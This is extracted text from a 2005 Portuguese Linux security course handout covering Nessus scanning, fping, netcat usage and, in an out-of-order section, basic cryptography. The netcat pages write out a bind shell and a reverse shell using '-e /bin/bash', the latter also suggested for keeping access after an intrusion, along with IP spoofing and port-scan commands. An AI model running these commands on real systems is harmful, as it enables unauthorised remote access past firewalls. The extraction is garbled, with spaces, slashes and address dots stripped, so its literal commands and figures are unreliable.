Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 13: Curso de segurança em linux e redes em geral

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

